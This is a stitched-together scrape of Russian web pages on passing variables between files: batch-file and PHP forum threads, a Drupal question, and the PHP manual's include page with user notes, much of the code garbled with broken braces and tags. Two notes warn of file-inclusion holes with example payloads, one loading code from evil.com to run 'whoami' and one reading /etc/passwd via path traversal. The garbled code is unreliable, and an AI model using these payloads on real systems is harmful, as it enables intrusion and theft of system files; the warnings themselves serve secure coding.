Как передать переменную из одного файла в другой php
например два батника: 1.bat и 2.bat
@echo off
set directory1 = «C:\123»
set directory2 = «C:\123»
call 2.bat %directory1% %directory2%
и выводит пустоту в 2.bat
в пути пробелы?
call 2.bat «%directory1%» «%directory2%»
(0) а почему #
надо %
ну в смысле %2 и пишу. все равно пустота
set directory1 = «C:\123»
пробелы убери
call 2.bat %directory1 %directory2
какие пробелы? в конце строки?
до = и после
(9)+1
set directory1=»C:\123″
set directory2=»C:\123″
но в основном до
но тогда надо учесть, что ведущий пробел (который после =) включится в значение переменной
(9) точняк, когда-то натыкался на такое в чужом батнике. сам пробелы не ставлю никогда, даже в 1С, приучился так
Непонятно, только зачем передавать переменные в другой файл.
SET VARIABLE=VALUE
устанавливает переменную окружения, и её легко получить с другом BAT-файле и её родному имени.
Форум PHP программистов ► PHP практикум ► PHP ?
Столкнулся с следующей проблемой, а именно суть её такова, что нужно передать переменную из одного файла в другой. Для этого в php существует два мне известных способов это get и post. GET способ уже занят, для этого я решил воспользоваться методом post, но проблема в том, что данный метод предполагает передачу данных в другой файл только при нажатии на определённую кнопку.
Возможно-ли передавать переменную способом POST без использования кнопки Отправить?
1-й файл index. php
$a = "123";
echo "'>переход";
echo "это превая страница $a";
echo "php'>переход";
echo "";
?>
2-й файл index2. php
if (isset($_POST['a'])) $a = $_POST['a']; if ($a == '') unset($a);>>
echo $_POST['a'];
echo $a;
?>
Спустя 19 минут, 9 секунд (23.11.2011 — 19:30) zeromind написал(а):
| Цитата |
| Возможно-ли передавать переменную способом POST без использования кнопки Отправить? |
На сколько я знаю — нет, submit — отправляет форму на сервер..
чем тебе $_SESSION массив не устраивает? открываеш сессию, и переменные в ней хранятся, пока не уничтожишь..
Спустя 16 минут, 59 секунд (23.11.2011 — 19:47) Winston написал(а):
| Цитата (DooMka @ 23.11.2011 — 18:11) |
| Возможно-ли передавать переменную способом POST без использования кнопки Отправить |
Нет, не возможно. Ну разве что только использовать ajax или curl.
Спустя 1 день, 6 минут, 1 секунда (24.11.2011 — 19:53) I++ написал(а):
php
session_start();
if(!isset($_SESSION['stage']))
$_SESSION['stage'] = null;
switch($_SESSION['stage'])
default:
if(!isset($_POST['a']))
echo 'Первая страница
';
break;
>
else
$_SESSION['stage'] = 1;
>
case 1:
if(!isset($_POST['b']))
echo 'Вторая страница
';
break;
>
else
$_SESSION['stage'] = 2;
>
case 2:
if(!isset($_POST['c']))
echo 'Третья страница
';
break;
>
else
$_SESSION['stage'] = 3;
>
case 3:
echo 'Финиш!
';
>
?>
Это сообщение отредактировал DooMka — 23.11.2011 — 20:12
Как передать данные из одной ноды в другую?
Вопрос почему если массив, как я понял, глобальный $variables. В приведенном коде выше переменная «new_title» виден в preprocess_page_title и не виден в preprocess_node__services?
Примечание: не пишите, что в node.html.twig есть переменная >, я это знаю мне надо понять сам принцип, как передать значения из одной ноды в другую?
В приведенном выше коде, мне Drupal выводит Notice: Undefined index: new_title in remont_preprocess_node__services()
2. Задача похожа на предыдущую.
Как вставить пользовательский блок или блок-view вставить в любое места шаблона с помощью созданной переменной? Ниже приведен стандартный код node.html.twig, я хочу в него вставить свой блок. Вопрос не как вставить данные в шаблон node.html.twig, а как с помощью собственной переменной > вставить любой блок в любой другой шаблон? Мне надо найти сам принцип встраивания своих блоков или блоков-view в шаблоны twig.
- Drupal8
- Есть вопрос
- Решение проблем
- Блог
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
Комментарии
ivnish 4 мая 2020 в 20:10
1. Зачем? Какая изначальная задача?
2. Почему бы не использовать возможности регионов и вставки в них блоков через админку?
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
- Реакции
Вот конкретная задача, которую я решал через одно место https://monosnap.com/file/z5udpZUwA0KjZPeKom0iyzovCFgKbE
Я вставлял кастомный блок, созданный в админке, внутрь шаблона вывода views.
Вот сайт http://amiz.v-stavropole.ru/our_car
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
- Реакции
Добавьте в шаблон представления в нужное место регион и выводите туда блок через админку.
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
- Реакции
ivnish wrote: Добавьте в шаблон представления в нужное место регион и выводите туда блок через админку.
Хорошо, я понял. Спасибо за ответ. Я думал, что регионы можно вставлять только на уровне шаблона page.html.twig
А кто-то может дать ответ на первый вопрос. Как из одного препрепроцесс передать переменную в другой? в hook_theme?
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
- Реакции
nick80 wrote: А кто-то может дать ответ на первый вопрос. Как из одного препрепроцесс передать переменную в другой? в hook_theme?
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
- Реакции
ivnish wrote: Для чего?
Хочу понять сам принцип.
Почему в видео https://www.youtube.com/watch?v=FuGwWjNtW2Y&t=231s
Смотреть только: 1:50:35 по 1:51:22 (меньше минуты)
В этом видео подстановка $variables из другого preprocess проходит без ошибки, а в моем случае пишет Notice: Undefined index: new_title in remont_preprocess_node__services()
Я понимаю, что чтобы разобраться надо смотреть больше видео, ни кто это делать не будет, но на видео видно, что это возможно.
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
- Реакции
Предупреждение безопасности
Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно должно производить корректный скрипт PHP, потому что он будет затем обработан уже на локальном сервере. Если файл с удалённого сервера должен быть обработан и только отображён его результат, гораздо эффективно воспользоваться функцией readfile() В противном случае следует соблюдать особую осторожность, чтобы обезопасить удалённый скрипт для получения корректного и желаемого кода.
Смотрите также раздел Удалённые файлы, функции fopen() и file() для дополнительной информации.
Обработка возвращаемых значений: оператор include возвращает значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные включения, пока это не переопределено во включаемом файле, возвращают значение 1 . Возможно выполнить выражение return внутри включаемого файла, чтобы завершить процесс выполнения в этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть значение из включаемых файлов. Вы можете получить значение включения, как если бы вы вызвали обычную функцию. Хотя это невозможно при включении удалённого файла, только если вывод удалённого файла не содержит корректные теги начала и конца PHP кода (так же, как и локальный файл). Вы можете определить необходимые переменные внутри этих тегов и они будут представлены в зависимости от того, какой файл был выключен.
Так как include — это специальная языковая конструкция, круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении возвращаемого значения.
Пример #4 Сравнение возвращаемого значения при include
// не сработает, интерпретируется как include((‘vars.php’) == TRUE), то есть include(‘1’)
if (include( ‘vars.php’ ) == TRUE ) echo ‘OK’ ;
>
?php
// сработает
if ((include ‘vars.php’ ) == TRUE ) echo ‘OK’ ;
>
?>
Пример #5 Выражения include и return
$foo = include ‘return.php’ ;
echo $foo ; // выведет ‘PHP’
$bar = include ‘noreturn.php’ ;
echo $bar ; // выведет 1
$bar имеет значение 1 , т.к. включение файла произошло успешно. Заметьте разницу между примерами сверху. Первый использует return внутри включаемого файла, тогда как второй не использует. Если файл не может быть включён, возвращается false и возникает E_WARNING .
Если во включаемом файле определены функции, они могут быть использованы в главном файле вне зависимости от того, были ли они объявлены до return или после. Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции уже были определены. Рекомендуется использовать include_once вместо того, чтобы проверять был ли файл уже включён.
Другой путь «включить» PHP-файл в переменную — это захватить вывод с помощью функций контроля вывода вместе с include . Например:
Пример #6 Использование буферизации вывода для включения файла PHP в строку
$string = get_include_contents ( ‘somefile.php’ );
?php
function get_include_contents ( $filename ) if ( is_file ( $filename )) ob_start ();
include $filename ;
return ob_get_clean ();
>
return false ;
>
Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в php.ini .
Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.
User Contributed Notes 22 notes
15 years ago
This might be useful:
include $_SERVER [ ‘DOCUMENT_ROOT’ ]. «/lib/sample.lib.php» ;
?>
So you can move script anywhere in web-project tree without changes.
8 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
# index.php
define ( ‘what’ , ‘ever’ );
include ‘includeFile.php’ ;
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at «/usr/share/nginx/html», keep the include files in «/usr/share/nginx/src».
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . ‘/../src/includeFile.php’ ;
?>
Since user can’t type ‘your.site/../src/includeFile.php’, your includeFile(s) would not be accessible to the user directly.
7 years ago
Before using php’s include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
// Bad Code
$path = $_GET [ ‘path’ ];
include $path . ‘example-config-file.php’ ;
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
11 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
8 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include «file») instead of ( include «./file») . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
—-script.php
—-test
—-dir1_test
-dir2
—-test
—-dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘
‘ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘
‘ ;
echo ‘including «test» . ‘ ;
echo ‘
‘ ;
include ‘test’ ;
echo ‘
‘ ;
echo ‘Changing current working directory to dir2’ ;
chdir ( ‘../dir2’ );
echo ‘
‘ ;
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘
‘ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘
‘ ;
echo ‘including «test» . ‘ ;
echo ‘
‘ ;
include ‘test’ ;
echo ‘
‘ ;
echo ‘including «dir2_test» . ‘ ;
echo ‘
‘ ;
include ‘dir2_test’ ;
echo ‘
‘ ;
echo ‘including «dir1_test» . ‘ ;
echo ‘
‘ ;
include ‘dir1_test’ ;
echo ‘
‘ ;
echo ‘including «./dir1_test» . ‘ ;
echo ‘
‘ ;
(@include ‘./dir1_test’ ) or die( ‘couldn\’t include this file ‘ );
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including «test» .
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including «test» .
This is test in dir2
including «dir2_test» .
This is dir2_test
including «dir1_test» .
This is dir1_test
including «./dir1_test» .
couldn’t include this file
15 years ago
If you’re doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn’t exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist — e.g. a dev environment has it, but a prod one doesn’t.)
15 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
—-
define ( ‘MAINDIR’ , dirname ( __FILE__ ) . ‘/’ );
define ( ‘DL_DIR’ , MAINDIR . ‘downloads/’ );
define ( ‘LIB_DIR’ , MAINDIR . ‘lib/’ );
?>
—-
and so on. This way, the files in your framework will only have to issue statements such as this:
require_once( LIB_DIR . ‘excel_functions.php’ );
?>
This also frees you from having to check the include path each time you do an include.
If you’re running scripts from below your main web directory, put a prepend.php file in each subdirectory:
—
include( dirname ( dirname ( __FILE__ )) . ‘/prepend.php’ );
?>
—
This way, the prepend.php at the top always gets executed and you’ll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
5 years ago
Ideally includes should be kept outside of the web root. That’s not often possible though especially when distributing packaged applications where you don’t know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER[‘SCRIPT_FILENAME’] ) or exit ( ‘No’ );
9 years ago
It’s worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
$cfg_path
= ‘includes’
. DIRECTORY_SEPARATOR
. ‘config.php’
;
require_once( $cfg_path );
1 year ago
In the Example #2 Including within functions, the last two comments should be reversed I believe.
14 years ago
A word of warning about lazy HTTP includes — they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
12 years ago
Sometimes it will be usefull to include a string as a filename
//get content
$cFile = file_get_contents ( ‘crypted.file’ );
//decrypt the content
$content = decrypte ( $cFile );
//include this
include( «data://text/plain;base64,» . base64_encode ( $content ));
//or
include( «data://text/plain,» . urlencode ( $content ));
?>
13 years ago
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
$page = $_GET [ ‘page’ ];
if ( file_exists ( ‘pages/’ . $page . ‘.php’ ))
include( ‘pages/’ . $page . ‘.php’ );
>
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it’s not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can’t count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
14 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
include ‘/Path/To/File.php’ ;
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we’ll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we’ll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn’t exist in the root path.
I just thought I’d mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
$documentRoot = null ;
if (isset( $_SERVER [ ‘DOCUMENT_ROOT’ ])) $documentRoot = $_SERVER [ ‘DOCUMENT_ROOT’ ];
if ( strstr ( $documentRoot , ‘/’ ) || strstr ( $documentRoot , ‘\\’ )) if ( strstr ( $documentRoot , ‘/’ )) $documentRoot = str_replace ( ‘/’ , DIRECTORY_SEPARATOR , $documentRoot );
>
elseif ( strstr ( $documentRoot , ‘\\’ )) $documentRoot = str_replace ( ‘\\’ , DIRECTORY_SEPARATOR , $documentRoot );
>
>
if ( preg_match ( ‘/[^\\/]\\[^\\/]/’ , $documentRoot )) $documentRoot = preg_replace ( ‘/([^\\/])\\([^\\/])/’ , ‘\\1DIR_SEP\\2’ , $documentRoot );
$documentRoot = str_replace ( ‘DIR_SEP’ , ‘\\\\’ , $documentRoot );
>
>
else /**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
*
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
*
*/
$directories = array(
‘Includes’
);
if ( defined ( ‘__DIR__’ )) $currentDirectory = __DIR__ ;
>
else $currentDirectory = dirname ( __FILE__ );
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR ;
foreach ( $directories as $directory ) $currentDirectory = str_replace (
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR ,
DIRECTORY_SEPARATOR ,
$currentDirectory
);
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
>
define ( ‘SERVER_DOC_ROOT’ , $documentRoot );
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
include SERVER_DOC_ROOT . ‘/Path/To/File.php’ ;
?>
